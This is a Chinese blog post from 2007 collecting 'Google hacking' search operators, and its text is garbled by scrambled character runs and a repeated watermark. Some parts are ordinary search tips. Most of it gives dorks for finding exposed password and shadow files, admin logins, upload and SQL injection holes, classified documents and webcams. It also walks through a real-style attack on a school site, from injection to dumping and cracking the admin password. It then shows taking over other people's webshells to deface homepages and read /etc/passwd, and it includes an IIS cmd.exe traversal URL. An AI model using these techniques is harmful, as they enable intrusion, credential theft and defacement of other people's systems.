空间管理您的位置: 51Testing软件测试网 » 测试者家园[Fish_yy的家园] » 日志

我的地盘我做主！博客：http://tester2test.cnblogs.com/ 　 msn:win_soft@163.com

简单实用的google用法

上一篇 / 下一篇 2007-12-04 22:06:56 / 个人分类：其他

简单实用的google用法

察看基本情况：
)o5O4k._C.Jq0info:xx.org 返回一些基本信息
$G$jM f {kA8r0site:xx.org 返回所有与该有关的url`````````````````````````````一般是看他的主要文件和部分目录
e'g1wv$N3V*DG0link:xx.org 返回所有与该站做了连接的站
n`'\)j:v3gGq0
M8s+\)H|lc-r0site:xx.org filetype:txt 查找TXT文件其他的依次内推``````TXT，有时候在站里面可以找到ftp密码51Testing软件测试网3Npi]+}lJV
51Testing软件测试网Uj&\!c!P5^EX
查找后台```````````````````````````````````````````````````````````拿到密码后，或者尝试or，或者看版权时用到
7D;ol ~5RQF0site:xx.org intext:管理
site:xx.org inurl:login
site:xx.org intitle:后台
h{KJ5MRI0
r*`5Yx1O.\!fl6DN0查看服务器使用的程序``````````````````````````````````````````一般看主机什么系统，对应的马就什么权限
\$p[ ?z~ ~/Q0site:xx.org filetype:asp
D9wQ#x:t wIcqt0site:xx.org filetype:php51Testing软件测试网k+u B1^E8xg2S
site:xx.org filetype:jsp
0M$Xk8u Mj0site:xx.org filetype:aspx
51Testing软件测试网{*}V(p5u:D'F
查看上传漏洞：``````````````````````````````````````````````````这可是最爽的拿shell方法
2eO5l j.mm4I ac;E0site:xx.org inurl:file
WiKy&k]4\L B0site:xx.org inurl:load51Testing软件测试网B/`$|aHb

x}"?$dN/H2Z*Z0查找注射点：`````````````````````````````````````````````````````找注射点最快的方法
site:xx.org filetype:asp

以上语法可以复合使用

u8f }oS0

利用Google突破封锁:下载想要的东西

y1P;{[s%\ Yoz0第一篇突破封锁之电子书、多媒体下载

,CwR8ZZJc0　　在搜索框上输入：
%Z%X+[U%N"] x0　　 "index of/ " inurl:lib51Testing软件测试网rI5InY0e
　　再按搜索你将进入许多图书馆，并且一定能下载自己喜欢的书籍。51Testing软件测试网9b_4`S dH

　　在搜索框上输入：
P)e$Q&@C'N_ Ddby!}0　　 "index of /" cnki
　　再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口！

　　在搜索框上输入：
F0zs,S;TrV?0　　"index of /" ppt
　　再按搜索你就可以突破网站入口下载powerpint作品！

　　在搜索框上输入：
　　"index of /" mp3
　　再按搜索你就可以突破网站入口下载mp3、rm等影视作品！

　　在搜索框上输入：
^ t/r0O0X4r6@bL.P$F6|0　　"index of /" swf
　　再按搜索你就可以突破网站入口下载flash作品！51Testing软件测试网1~.YF]A.t Xd

E.{1a'K_IMefu0　　在搜索框上输入：
$nMH}5i'h/\0　　"index of /" 要下载的软件名
　　再按搜索你就可以突破网站入口下载软件！

(G_3ny2EU&Au }0　　注意引号应是英文的！

!dIii EBH0　　再透露一下，如果你输入：
@/K ?W5C0　　"index of /" AVI
　　这样就可以下载AVI格式的视频文件了喔

5uq)XW8XcX o!Z0　　第二篇突破封锁之看世界

　　用Google看世界!!!只要你在Google里输入特殊的关键字,就可以搜到数千个摄象头的IP地址!通过他你就可以看到其所摄的实时影象!!51Testing软件测试网,F9xv%J7W%^*i

　　在google里输入：51Testing软件测试网CL4XY'Ak$r
　　inurl:"viewerframe?mode="

　　随便打开一个,然后按提示装一个插件,就可以看到了!!!

o.My7as]&lD)N0　　第三篇突破封锁之Google是黑客的乐园

YoO$f2`3ta0　　三则黑客的Google搜索技巧简介

　　大家都知道，Google毫无疑问是当今世界上最强大的搜索引擎。然而，在黑客手中，它也是一个秘密武器，它能搜索到一些你意想不到的信息。赛迪编者把他们进行了简单的总结不是希望您利用他去攻击别人的网站，而是利用这些技巧去在浩如烟海的网络信息中，来个大海捞针，寻找到对您有用的信息。

^I#LQ5k1_2\:MY0　　如果您是一名普通网民，您可以使用黑客的技巧扩大自己的视野，提高自己的检索效率；如果您是一名网管，请您赶快看看您的网站是否做好了对下面黑客探测手段的防范措施，如果没有就赶快来个亡羊补牢，毕竟隐患胜于明火，防范胜于救灾；如果您是一名黑客，相信您早以在别的黑客站点上见过类似的方法，这篇文章对您没什么用处，这里的技巧对您是小儿科，菜鸟级！您可以节省宝贵的时间做更有意义的事情，这篇文章您不用看了，到别处去吧！

51Testing软件测试网E/nU5S.p|
　2 、查找 PDF 文件51Testing软件测试网k3uq{)I

　　现在 GOOGLE 的搜索结果中包括了 PDF 文件。尽管 PDF 文件不如 HTML 文件那么多，但他们经常具备一些其他文件不具备的高质量信息

)T4C:k*e4MmO0　　为了显示一个搜索结果是 PDF 文件而不是网页， PDF 文件的标题开头显示蓝色文本。51Testing软件测试网?|deIh

4rj+l:c{!t4Hu0　　这就是让你知道 ACRTOBAT READER 程序会启动来阅读文件

7l-\^(|[ J7J1J+\W0　　如果你的计算机没装有该程序，计算机会指导你去能免费下载该程序的网页。

xEm8IS? v0　　使用 PDF 文件时，相关的网页快照会由“ TEXT VERSION ”代替，它是 PDF 文档的复制文件，该文件除去了所有格式化命令。

　　如果你在没有 PDF 链接的情况下想看一系列搜索结果，只要在搜索栏中打上 -inurldf 加上你的搜索条件。51Testing软件测试网2N#n8u rF9zN

　　3 、股票报价

-T~5N;OxOu0　　用 Google 查找股票和共有基金信息，只要输入一个或多个 NYSE ， NASDAQ ， AMEX 或
%Js_@"y\,e0　　共有基金的股票行情自动收录机的代码，也可以输入在股市开户的公司名字。51Testing软件测试网:[y3NLJd

'a#k:q@ IMq7Vi/j;k0　　如果 Google 识别出你查询的是股票或者共有基金，它回复的链接会直接连到高质量的金融信息提供者提供的股票和共有基金信息。

　　在你搜索结果的开头显示的是你查询的股市行情自动收录器的代码。如果你要查找一家公司的名字（比如， INTEL ），请查看“股票报价”在 Google 搜索结果的金融栏里会有那个公司的主页的链接（比如， www.INTEL.COM ）。51Testing软件测试网 a/w$u!_GH

　　Google 是以质量为基础来选择和决定金融信息提供者的，包括的因素有下载速度，用户界面及其功能。

　　4 、找找谁和你链接

\i!lanc GUAD0　　有些单词如果带有冒号就会有特殊的意思。比如 link ：操作员。查询 link:siteURL ，就会显示所有指向那个 URL 的网页。举例来说，链接 www.Google.com 会向你显示所有指向 GOOGLE 主页的网页。但这种方法不能与关键字查询联合使用。

(U S4qm;e$f9S2Y+Y0　　5 、查找站点51Testing软件测试网#cW,p'ci;go

m:h8O F9r DZN+g0　　单词 site 后面如果接上冒号就能够将你的搜索限定到某个网站。具体做法是：在 c 搜索栏中使用 site:sampledomain.com 这个语法结构。比如，在斯坦福找申请信息，输入：
　　admission site:www.stanford.edu51Testing软件测试网@d Docw

.])~O;V.R%gZ0　　6 、查找字典释意

　　查找字典释意的方法是在搜索栏中输入你要查询的内容。在我们根据要求找到所有的字典释意都会标有下划线，位于搜索结果的上面，点击链接你会找到字典提供者根据要求给出的相关定义。51Testing软件测试网9Gv7Va%I ]

7 、用 GOOLGE 查找地图51Testing软件测试网(F;K-Rf;o%|

G0Fd.b/a)c8z1}0　　想用 Google 查找街区地图，在 Google 搜索栏中输入美国街区地址，包括邮递区号或城市/州（比如 165 大学大街 PALO ALTO CA ）。通常情况下，街区地址和城市的名字就足够了。51Testing软件测试网3dpge7U8nu

v a~fxX2x0　　当 Google 识别你的要求是查找地图，它会反馈给你有高质量地图提供者提供的链接，使你直接找到相关地图。我们是以质量为基础选择这些地图提供者。值得注意的是 Google 和使用的地图信息提供者没有任何关联。

51Testing软件测试网a [8Zy+l
搜索URL51Testing软件测试网4z paiER

　　比如我们提交这种形式：passwd.txt site:virtualave.net

/j-drK{#s%w6|h0　　看到了什么？是不是觉得太不可思议了！有很多基于CGI/PHP/ASP 类型的留言板存在这种问题。有时我们得到密码甚至还是明码的！管理员或许太不负责了，或许安全防范的意识太差了，如果你是网络管理员，赶快检查一下不要让恶意攻击者捡了便宜。不要太相信DES加密，即使我们的密码经过DES 加密的密码，黑客们还是可以通过许多破解软件来搞定。

~A!j3B6SEIT0　　这次我们能得到包含密码的文件。“site:virtualave.net”意思是只搜索 virutalave.net 的URL。virutalave.net是一个网络服务器提供商。

(g,_7J0V3d"p[1m0　　同样，我们可以搜索一些顶级域名，比如：.net .org .jp .in .gr51Testing软件测试网1_.VW5j5^7U+~

*O1e"nDT;n y1N1bTI0　　config.txt site:.jp

　　admin.txt site:.tw

PUG:d/k$`z!@ ]:v\0　　搜索首页的目录

q h9R3~$@o%dDk9]U0　　首页是非常有用的，它会提供给你许多有用的信息。51Testing软件测试网m BB _*|@

x4`]$b'b@ le8L`?0　　我们提交如下的形式：

f5~G.~&^'s0　　"Index of /admin"

　　"Index of /secret"

n?[)~hwP0　　"Index of /cgi-bin" site:.edu51Testing软件测试网 J5@7G/cGc)i

　　你可以自己定义搜索的首页字符。这样就可以获得许多信息。

l&[bp e#_y0　　搜索特定的文件类型

)Z AoN;QhHV0　　比如你想指定一种文件的类型，可以提交如下形式：51Testing软件测试网VoKD*bw

　　filetype:.doc site:.mil classified

　　这个就是搜索军方的资料，你可以自定义搜索。51Testing软件测试网#r\S {w|4Z

常用的google关键字： 51Testing软件测试网oE'NqZ;Q(V
foo1 foo2 (也就是关联，比如搜索xx公司 xx美女) 51Testing软件测试网ha@ii5s
operator:foo
^|z$k%_B0filetype:123 类型
i,\nN8N.CR0site:foo.com 相对直接看网站更有意思，可以得到许多意外的信息 51Testing软件测试网o.e7OWC&hb
intext:foo 51Testing软件测试网S U.d d![W
intitle: fooltitle 标题哦
.A#ek)Sl.t%Cy0allinurl:foo 搜索xx网站的所有相关连接。（踩点必备）
links:foo 不要说就知道是它的相关链接
c6i(WU&ch,x0allintilte:foo.com

51Testing软件测试网u$J+tw$LhT'L
我们可以辅助"-" "+"来调整搜索的精确程度 51Testing软件测试网2k7}z%f7JW

$u$Z]`F'NI.C[0直接搜索密码：(引号表示为精确搜索)
,X!l.J5r_A W-Q@k0当然我们可以再延伸到上面的结果里进行二次搜索
"index of" htpasswd / passwd
)k'N)_lH1lZ0filetype:xls username password email
"ws_ftp.log"
"config.php"
allinurl:admin mdb
(dn0jXf7M"@(b0service filetype:pwd ....或者某个比如pcanywhere的密码后缀cif等

越来越有意思了，再来点更敏感信息
}u|5QVj/S t0"robots.txt" "Disallow:" filetype:txt
inurl:_vti_cnf (FrontPage的关键索引啦，扫描器的CGI库一般都有地)
allinurl: /msadc/Samples/selector/showcode.asp 51Testing软件测试网9z!?]^'bU*e
/../../../passwd
,E!k^_F0/examples/jsp/snp/snoop.jsp
'OD2G@W?d bKh0phpsysinfo
Z~/Q-HpYj0intitle:index of /admin 51Testing软件测试网D:I.T*ng-t0E
intitle:"documetation"
m-a-@2Q9w0inurl: 5800(vnc的端口)或者desktop port等多个关键字检索
_Eb8a#|0webmin port 10000
inurl:/admin/login.asp 51Testing软件测试网 E+_BC/d {
intext:Powered by GBook365
R8w;F!va_0intitle:"php shell*" "Enable stderr" filetype:php 直接搜索到phpwebshell

foo.org filetype:inc 51Testing软件测试网x8s5R amo

ipsec filetype:conf
qUdw*Uz0intilte:"error occurred" ODBC request where (select|insert) 说白了就是说，可以直接试着查查数据库检索，针对目前流行的sql注射，会发达哦
2hx+`b7rXeK0"Dumping data for table" username password
e(i%Z9JdDQ^2db0intitle:"Error using Hypernews"
"Server Software"
O:qc$kd0intitle:"HTTP_USER_AGENT=Googlebot"
f\v_#Kr*uQ"M0"HTTP_USER_ANGET=Googlebot" THS ADMIN
filetype:.doc site:.mil classified 直接搜索军方相关word

检查多个关键字：
n^B\|Lw+o^0intitle:config confixx login password

"wI?Y}FBNL0"mydomain.com" nessus report 51Testing软件测试网zW5@H(La;A8T
"report generated by"
"ipconfig"
"winipconfig"

google缓存利用（hoho，最有影响力的东西）推荐大家搜索时候多"选搜索所有网站"
(DSPz8p.T2_n1M~0特别推荐：administrator users 等相关的东西，比如名字，生日等……最惨也可以拿来做字典嘛

A!B"Jn2f7?A0

]l2M }k)c3H0……

9YziGj*B/O#_^+sv0一些技巧集合：

1) index.of.password
i2j7\o r'D~0J^"u3x(C01) filetype:blt "buddylist"
$at3D CT-v7l02) "access denied for user" "using password" 51Testing软件测试网`o*Tq)\K:e
2) intitle:"index of" inurl:ftp (pub | incoming)
J@(f:b]/x$o03) "http://*:*@www" domainname
/y9Xkg:p!U/f03) filetype:cnf inurl:_vti_pvt access.cnf
%lQF@:[_04) auth_user_file.txt
t+|PwY0l.kX,y5K8y04) allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/" 51Testing软件测试网g[p,v1Tz
5) The Master List
(Ep O+QrI05) inurl:"install/install.php"
q5~Udl(wJ06) allinurl: admin mdb
$`p@ RQv06) intitle:"welcome.to.squeezebox" 51Testing软件测试网,h;ci!krv
7) passlist.txt (a better way)
[-Q"c ?t7L'F.f"O07) intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
}UFJM:{f08) "A syntax error has occurred" filetype:ihtml 51Testing软件测试网~QLOw(f3D
8) intitle:Login intext:"RT is ? Copyright"
*K'X7|^MG{09) "# -FrontPage-" inurl:service.pwd 51Testing软件测试网 { ZF!V h$G
9) ext:php program_listing intitle:MythWeb.Program.Listing 51Testing软件测试网 dX0NX.x7g
10) ORA-00921: unexpected end of SQL command
;F@1sgeMpy)[.cc010) intitle:index.of abyss.conf

zM;K;R.F A6v tj D0NO2: 51Testing软件测试网#dSw&Io
-------------------------------------------------------------------------------- 51Testing软件测试网.Kk}M o

GMX%W b0google hacking的简单实现
"VS/IoxlN'B,RW0使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
intext:
yy*H0udY0这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似.

intitle: 51Testing软件测试网,h|e4c|&\
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网 51Testing软件测试网+?G3lzFc\e

F+lEWv!p.y0页.同理allintitle:也同intitle类似. 51Testing软件测试网#IlV)\+t*b

cache: 51Testing软件测试网LS0rH E.c
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

Q8j+Tn"E?]"]6P4`}0define:
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

filetype:
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入

;h&Y4sb,OK7Sz!^0:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:)

!q{A#^Q0info:
%Z1[&FMyS/T?`4U0查找指定站点的一些基本信息.

g QLV&ByI0inurl:
\)B5}$O&tk(s4C0搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接http://www.xxx.com/xxx/admin,用来找管理员登

陆的URL不错.allinurl也同inurl类似,可指定多个字符.

link:
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL. 51Testing软件测试网 x.BGT'O%C0QI

@0y(K*K+z0@t&Oi'|0site:
D)Ao'e7T0这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.

(W1neA#w|+~+Y0
6@zz8y~e1hi-lV0对了还有一些*作符也是很有用的: 51Testing软件测试网j| \4l5Q#vP
+ 把google可能忽略的字列如查询范围 51Testing软件测试网'{8r9k)Hyt
- 把某个字忽略
%UGT7EB{%I~0~ 同意词
. 单一的通配符
-By U3^W8Hr0* 通配符，可代表多个字母
pjY9h}E|0"" 精确查询 51Testing软件测试网2{&V b0O&T-\

9kH d+{~ re eCg+K0下面开始说说实际应用

i#b$s,v#A}2y0以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会

O1y.Ey$LD0把一些敏感信息透露给他们.用google搜索以下内容:
9QiL.GN5X0intitle:"index of" etc
6aU-xg$l |0intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
7Z0eQ;eh.BXf0intitle:"index of" passwd
y&^ACTJ@#ex0intitle:"index of" people.lst
lX3QrVStR0intitle:"index of" pwd.db 51Testing软件测试网X b;T%F.{A(R
intitle:"index of" etc/shadow
pzt_T0intitle:"index of" spwd
L;En@q#{J3iHC0intitle:"index of" master.passwd
intitle:"index of" htpasswd 51Testing软件测试网(sCoH"HR
"# -FrontPage-" inurl:service.pwd 51Testing软件测试网.^7y*]i9L-J
有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的

ElEf]#y0
%lRhO-|.WM{0同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站点:
?!Hz1M^x0intext:ZeroBoard filetype:php 51Testing软件测试网u$Up~Jh|
或者使用:
x.?QWzB0inurl:outlogin.php?_zb_path= site:.jp 51Testing软件测试网;x9_3}*_(JP~
来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库*作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行*作.我们可以用google搜索存在这样漏洞的程序URL: 51Testing软件测试网B%~DtGp
intitle:phpmyadmin intext:Create new database

还http://www.xxx.com/_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe?dir吗?用google找找，你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
allinurl：winnt system32 51Testing软件测试网6AS M{~U%]

前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下:
X&BCc)l7Q/J0allinurl:bbs data
N:C]"vW~DA0filetype:mdb inurl:database 51Testing软件测试网&]L,J x+Q*u3G?
filetype:inc conn
inurl:data filetype:mdb 51Testing软件测试网Pp/OfC$a
intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后台.

K5| c&T*eG^R)X0
h4C'?6H k0利用google完全是可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。
G!h-n3@n B?0首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
'A` Un+h.j0A}cH\0site:xxxx.com 51Testing软件测试网l3Xl;P)d;a8R
从返回的信息中，找到几个该校的几个系院的域名：
http://a1.xxxx.com 51Testing软件测试网/n k1q q\B
http://a2.xxxx.com
mq!_b!wa,k0http://a3.xxxx.com 51Testing软件测试网UazTcE/f"I
http://a4.xxxx.com
;V N(t/eS0顺便ping了一下，应该是在不同的服务器.学校一般都会有不少好的资料，先看看有什么好东西没

*L0UA/|6k@p0site:xxxx.com filetype:doc 51Testing软件测试网em9j rff
得到N个不错的doc。

先找找网站的管理后台地址： 51Testing软件测试网2AT#ouF2G!Z
site:xxxx.com intext:管理
Qhm_z0dlV0site:xxxx.com inurl:login
site:xxxx.com intitle:管理
;Y7_K3@CP0超过获得2个管理后台地址：
C hs Y |J[0http://a2.xxxx.com/sys/admin_login.asp
G6]:dXK*w0R0http://a3.xxxx.com:88/_admin/login_in.asp

还算不错，看看服务器上跑的是什么程序：
site:a2.xxxx.com filetype:asp
,K7I.N}5g~0site:a2.xxxx.com filetype:php
;f+K1K E&E0site:a2.xxxx.com filetype:aspx 51Testing软件测试网vPs(I C*i2pC
site:a3.xxxx.com filetype:asp 51Testing软件测试网Q{:Lq})PS,s
site:....... 51Testing软件测试网Nsy{5wA
......
;l1`'so?f8N0a2服务器用的应该是IIS，上面用的是asp的整站程序，还有一个php的论坛
a3服务器也是IIS，aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的： 51Testing软件测试网&Z0n;YM!s#W
site:a2.xxxx.com intext:ftp://*:*
;i3N.sUb7y4Gp0没找到什么有价值的东西。再看看有没有上传一类的漏洞：
site:a2.xxxx.com inurl:file
site:a3.xxxx.com inurl:load
$o3~bi S2p:C0在a2上发现一个上传文件的页面：
^g1^h#@K$G0http://a2.xxxx.com/sys/uploadfile.asp
#C&q&\7csm0用IE看了一下，没权限访问。试试注射， 51Testing软件测试网{x RVH A
site:a2.xxxx.com filetype:asp 51Testing软件测试网 l!ZTVw_%I2\
得到N个asp页面的地址，体力活就让软件做吧，这套程序明显没有对注射做什么防范，dbowner权限，虽然不高但已足矣，back a shell不太喜

欢，而且看起来数据库的个头就不小，直接把web管理员的密码暴出来再说，MD5加密过。一般学校的站点的密码都比较有规律，通常都是域名+

-gMP9sglCX(k0电话一类的变形，用google搞定吧。
site:xxxx.com //得到N个二级域名
site:xxxx.com intext:*@xxxx.com //得到N个邮件地址，还有邮箱的主人的名字什么的 51Testing软件测试网-s^0orsA)`
site:xxxx.com intext:电话 //N个电话
@P1Q x!jU0把什么的信息做个字典吧，挂上慢慢跑。过了一段时间就跑出4个帐号，2个是学生会的，1个管理员，还有一个可能是老师的帐号。登陆上去：
)d`+? N's7Y"Co0name：网站管理员 51Testing软件测试网T*o9XW"g/K
pass：a2xxxx7619 //说了吧，就是域名+4个数字
6gEw5{)[o2W4f0要再怎么提权那就不属于本文讨论访问了，呵呵，到此为止。

#I*F%P)DV0
3v\!`_;W9wq0这段时间在国外的一些google hack的研究站点看了看，其实也都差不多是一些基本语法的灵活运用，或者配合某个脚本漏洞，主要还是靠 51Testing软件测试网+Zx0B+y)oo

s.IXS-^ b0个人的灵活思维。国外对于google hack方面的防范也并不是很多，所以大家还是点到为止，不要去搞破坏拉，呵呵。对于一些在win上跑 51Testing软件测试网A1H,T0FN&m7T
apache的网管们应该多注意一下这方面，一个intitle:index of就差不多都出来了:)
Jom6Bi,P01.查找利用php webshell

N(a%?9H&e:Ock0intitle:"php shell*" "Enable stderr" filetype:php 51Testing软件测试网/M@N2c#~J{

(注: intitle€€网页标题 Enable stderr€€UNIX标准输出和标准错误的缩写filetype€€文件类型)。搜索结果中，你能找到很多直接在机器上执 51Testing软件测试网&m'C:tr@1p

行命令的web shell来。如果找到的PHPSHELL不会利用，如果你不熟悉UNIX，可以直接看看LIST，这里就不详细说了，有很多利用价值。要说明 51Testing软件测试网2~N R,rB'AX,K

-U+XK\Au0的是，我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令，都是system调用出来的函数(其实用百度及其他搜索引擎都可以，只是填 51Testing软件测试网eI2e"wn

'mp#qO$~"Y$R%z#N E0写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:

5b5s E*~(E6[ |_ p0
m1JS#j-^*aP/]0echo "召唤" > index.jsp 51Testing软件测试网:?"R&t+Ub6`%g

F.Yx7^#o051Testing软件测试网,c{-vtP^"n
现在看看首页，已经被我们改成: "召唤" 了。

tL#e4RX1IT0我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file

echo "test" >> file

{:Nh1? ]/oRgFs{0这样一条条打出来，站点首页就成功被替换了。同样的也可以

51Testing软件测试网2tZY/F`F+x7v
uname -a;cat /etc/passwd

不过有点要注意，有些WEBSHELL程序有问题，执行不了的，

2.搜索INC敏感信息

E7x)E},R0在google的搜索框中填入: 51Testing软件测试网jfV-|fu

l'nCp6Y0Code:

.org filetype:inc

测试者家园 2007-07-25 23:21 发表评论

[小组] [博问] [闪存]

Link URL: http://www.cnblogs.com/tester2test/archive/2007/07/25/831552.html

收藏举报

TAG:

查看全部评论

简单实用的google用法

用户菜单

我的栏目

标题搜索

日历

我的存档

数据统计

RSS订阅